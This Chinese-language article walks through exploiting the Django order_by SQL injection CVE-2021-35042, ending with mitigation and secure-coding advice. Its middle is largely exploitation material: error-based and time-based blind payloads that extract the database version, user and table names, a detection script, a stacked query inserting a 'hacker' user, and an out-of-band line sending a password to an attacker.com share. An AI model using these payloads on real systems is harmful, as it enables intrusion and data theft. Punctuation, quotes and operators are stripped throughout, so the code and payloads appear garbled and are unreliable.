深度剖析:从绕过到利用的3个关键点)
Django 3.2.4 order_by SQL注入漏洞CVE-2021-35042技术解析与实战指南漏洞背景与影响范围2021年7月Django安全团队紧急发布了针对QuerySet.order_by()函数的安全更新。这个被标记为CVE-2021-35042的漏洞影响了Django 3.2.5、3.1.13和2.2.24之前的所有版本。当开发者允许用户控制order_by()参数且未进行充分过滤时攻击者可以构造特殊参数实现SQL注入。受影响版本具体包括Django 3.2.x 3.2.5Django 3.1.x 3.1.13Django 2.2.x 2.2.24漏洞原理深度剖析核心缺陷校验逻辑绕过机制Django的ORM系统本应提供安全的数据库查询抽象层但在处理order_by()参数时存在设计缺陷。关键问题出在django/db/models/sql/query.py中的add_ordering方法def add_ordering(self, *ordering): for item in ordering: if isinstance(item, str): if . in item: # 关键缺陷点 continue # 直接跳过后续校验 if item ?: continue self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) elif not hasattr(item, resolve_expression): errors.append(item) self.order_by ordering当参数包含点号(.)时代码会跳过关键的names_to_path校验流程。这个校验本应验证字段名的合法性但被绕过后攻击者可以注入任意SQL片段。漏洞触发路径分析完整的攻击链可以分为四个阶段输入点控制攻击者通过GET/POST参数控制order_by()的输入校验绕过利用包含点号的字符串跳过names_to_path校验SQL拼接未过滤的参数直接拼接到ORDER BY子句注入执行构造的恶意SQL被数据库引擎执行实战利用从检测到攻击环境搭建与基础检测使用Docker快速搭建漏洞测试环境# 拉取漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/django/CVE-2021-35042 # 启动服务 docker-compose build docker-compose up -d基础检测方法是通过观察排序行为变化http://your-ip:8000/vuln/?orderid # 正常升序 http://your-ip:8000/vuln/?order-id # 正常降序 http://your-ip:8000/vuln/?orderrandom() # 异常排序检测报错注入实战利用数据库报错机制提取信息/vuln/?ordervuln_collection.id);select updatexml(1, concat(0x7e,(select version)),1)%23这个Payload的工作原理vuln_collection.id)闭合原始查询updatexml触发XML解析错误concat(0x7e,...)确保错误信息包含所需数据%23注释掉后续语句信息收集Payload示例目标信息Payload示例数据库版本ordervuln_collection.id);select updatexml(1,concat(0x7e,version),1)%23当前数据库ordervuln_collection.id);select updatexml(1,concat(0x7e,database()),1)%23用户权限ordervuln_collection.id);select updatexml(1,concat(0x7e,user()),1)%23表结构查询ordervuln_collection.id);select updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)),1)%23盲注技术应用当报错信息被屏蔽时可以使用时间盲注技术/vuln/?ordervuln_collection.id);select case when (substring(database(),1,1)d) then sleep(3) else 0 end%23这个Payload会检查数据库名称首字母是否为d如果是则延迟3秒响应否则立即返回漏洞修复与防护方案官方修复方案Django团队通过以下方式修复了该漏洞移除了.in item检查后的continue语句确保所有输入都经过names_to_path校验添加了更严格的字段名白名单校验升级到以下安全版本即可修复Django 3.2.5Django 3.1.13Django 2.2.24临时缓解措施如果无法立即升级可以采用以下防护方案# 安全写法示例 def safe_order_by(request): allowed_fields {id, name, created_at} # 明确允许的字段 order_param request.GET.get(order, id) if order_param.lstrip(-) not in allowed_fields: order_param id # 默认安全值 return Collection.objects.order_by(order_param)深度防御建议输入验证建立严格的字段白名单机制最小权限数据库连接使用最低必要权限ORM规范避免直接使用用户输入构建查询日志监控记录异常的order_by参数尝试WAF规则添加针对异常SQL模式的检测规则漏洞研究的高级技巧自动化探测脚本使用Python编写自动化检测工具import requests import urllib.parse def check_vulnerability(url): test_payloads [ vuln_collection.id);select sleep(5)--, random(), 1,case when (11) then 1 else 1/0 end ] for payload in test_payloads: try: resp requests.get(f{url}?order{urllib.parse.quote(payload)}, timeout4) if resp.elapsed.total_seconds() 3: return True except: continue return False漏洞利用的进阶思路堆叠查询利用某些数据库支持多语句执行orderid);INSERT INTO users(username) VALUES (hacker)--OOB数据外带当无法直接回显时orderid);LOAD_FILE(concat(\\\\,(SELECT password FROM users LIMIT 1),.attacker.com\\share))--布尔盲注优化使用二分法加速信息提取开发者的安全启示永远不信任用户输入所有用户提供的排序、过滤参数都必须严格验证理解ORM的局限性ORM不是万能的需要了解其底层实现安全配置检查表[ ] 禁用DEBUG模式生产环境[ ] 使用最新稳定版本框架[ ] 定期进行安全审计[ ] 实施参数化查询最佳实践安全编码模式# 安全示例使用显式字段映射 ORDER_MAP { date: created_at, name: name_lower } def get_sorted_data(request): sort_key request.GET.get(sort, date) db_field ORDER_MAP.get(sort_key, created_at) return Model.objects.order_by(db_field)总结与延伸思考CVE-2021-35042揭示了ORM抽象层可能存在的安全隐患。作为开发者我们需要深入理解所用框架的安全机制和边界建立严格的数据流验证机制保持框架和依赖项的及时更新在设计和代码审查阶段考虑安全因素在实际项目中建议将排序、过滤等用户可控参数的处理封装为安全组件统一实施防护措施而非在每个视图函数中单独处理。